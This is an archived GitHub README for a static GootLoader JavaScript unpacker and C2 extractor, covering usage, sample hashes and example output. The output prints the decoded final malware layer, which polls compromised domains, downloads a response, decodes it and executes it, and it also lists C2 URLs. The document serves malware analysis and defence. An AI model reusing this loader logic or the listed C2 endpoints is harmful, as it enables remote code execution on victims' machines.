hedgehog-tools/gootloader at main · struppigel/hedgehog-tools

By struppigel

Archived: 2026-04-05 18:46:26 UTC

GootLoader JS Unpacker and C2 Extractor

Why

This was a project to learn AST manipulation with babel and JavaScript.

So it is likely that this is not the best code because I am a JavaScript noob.

The script is static, it does not execute any of the manipulated code.

Requirements

Install NodeJS and npm

Execute this to install required packages

```
npm.exe install -save-dev @babel/core commander
```

Usage

```
node.exe gootloader_decoder.js -f <sample> --c2s <textfile>
```

This will unpack the Gootloader script layers to *sample.layer<nr>.js*. After that it will attempt to find C2 data. Even if some of it fails, it should serve in saving some unpacking steps.

The very first transpiled layer is the extraction of just the relevant functions which are often buried in > 6000 lines of code. To achieve that, the decoder will search for the typical structure of the entry point function and determine all matched functions as start nodes. That means there might be some false positives, but as long as the actual entry point function is included, it should not be an issue.

From this point forward it will search for all used identifiers in that entry point function and recursively for the functions that are being called. This way a 6000 lines script can be trimmed down to 200 lines, making manual analysis of the initial code possible. In case the entry point function for the malware code turns out to be the wrong one, you can set it manually, e.g., here for the function named *iolad7*:

```
node.exe gootloader_decoder.js -f <sample> -s iolad7
```

Starting from the second layer the unpacker will determine the responsible decrypt function, the key and a decoding constant which is changed in every sample.

It will attempt to extract C2's at the last layer, which it currently assumes to be either the third or the 6th (as these are the samples I got).

Note: Some of the layers will be wrapped into a function named *gldr()*. This function is **not** part of the malware but the decoder. It is necessary where gootloader dynamically wraps the unpacked code into an unnamed function. Since the body contains the a return, the AST can only be parsed with this wrapped function.

Samples

`07253c4ff2a7f296cfdb6c45ddec08f61b6ecad37a30f45455df83d48c193083` --> malpedia sample, complete, has 3 layers

`1bc77b013c83b5b075c3d3c403da330178477843fc2d8326d90e495a61fbb01f` --> complete, has 3 layers

`08f06fc48fe8d69e4ab964500150d1b2f5f4279fea2f76fdfcefd32266dfa1af` --> complete, has 6 layers

`320b4d99c1f5fbc3cf1dfe593494484b1d4cb1ac7ac1f6266091e85ef51b4508` --> complete, has 6 layers

`445a5c6763877994206d2b692214bb4fba04f40a07ccbd28e0422cb1c21ac95b` --> complete, has 6 layers

`cbd826f59f1041065890cfe71f046e59ae0482364f1aaf79e5242de2246fb54b` --> complete, has 6 layers

`b34bcf097ad6ab0459bc6a4a8f487ca3526b6069ec01e8088fd4b00a15420554` --> complete, has 6 layers

`1b8b2fbdff9e4109edae317c4dd8cef7bb7877d656e97a3dd0a1e8c0c9d72b0b` --> complete, has 6 layers

Example Output

Decoded last layer with C2 data:

```
function gldr() {
  M = ["www.lakelandartassociation.org", "www.lha.co.ke", "www.lesriceysimports.com"];
  i = 0;
  while (i < 3) {
    f = WScript.CreateObject("MSXML2.ServerXMLHTTP");
    t = Math.random().toString()["substr"](2, 98 + 2);
    if (WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERDNSDOMAIN%") != "%USERDNSDOMAIN%") {
      t = t + "4173581";
    }
    try {
      f.open("GET", "https://" + M[i] + "/te" + "st.p" + "hp" + "?nacokrnxvmzgxje=" + t, false);
      f.send();
    } catch (e) {
      return false;
    }
    if (f.status === 200) {
      var u = f.responseText;
      if (u.indexOf("@" + t + "@", 0) == -1) {
        WScript.sleep(23232);
      } else {
        u = u.replace("@" + t + "@", "");
        var j = u.replace(/(\d{2})/g, function (Q) {
          return String.fromCharCode(parseInt(Q, 10) + 30);
        });
        yet7[3](j)();
        WScript.Quit();
      }
    } else {
      WScript.sleep(12345);
    }
    i++;
  }
}
```

Output of unpacking and extraction:

```
parser will try to find the starting point, to set another one, use the option -n

----------------- Layer 1 -----------------

Start nodes found year6
functions found: heat6,dgple,fishl,childreny,pvkly4,year6,kkofjee,enemy5,ullc,tdipjfo,air6,verb1,viwja
the code was saved to transpiled.layer1.js

----------------- Layer 2 -----------------

identified encrypted data node: roadh
extracted key: qRvo
decode function: air6
decode constant found 16884
decoded 2976 bytes
decrypted 2961 bytes
the code was saved to transpiled.layer2.js

----------------- Layer 3 -----------------

the code was saved to transpiled.layer3.js

----------------- Layer 4 -----------------

found encryption node: gulYyAX
decoded 10352 bytes
the code was saved to transpiled.layer4.js

----------------- Layer 5 -----------------

identified encrypted data node: oile
extracted key: qRvo
decode function: evero
decode constant found 6490
decoded 4838 bytes
decrypted 4823 bytes
the code was saved to transpiled.layer5.js

----------------- Layer 6 -----------------

the code was saved to transpiled.layer6.js

----------------- C2s -----------------

https://sanguilmu.com/xmlrpc.php
https://ppo-peakeweb.agilecollab.com/xmlrpc.php
https://marko.scfoca.com/wp/xmlrpc.php
https://savgl.ru/xmlrpc.php
https://justines1937.com/xmlrpc.php
https://peacebutnotquiet.com/xmlrpc.php
https://vivekmashrani.com/xmlrpc.php
https://schulzmuseum.org/xmlrpc.php
https://istratsolutions.com/xmlrpc.php
https://coralproject.net/xmlrpc.php
```

Source: https://github.com/struppigel/hedgehog-tools/tree/main/gootloader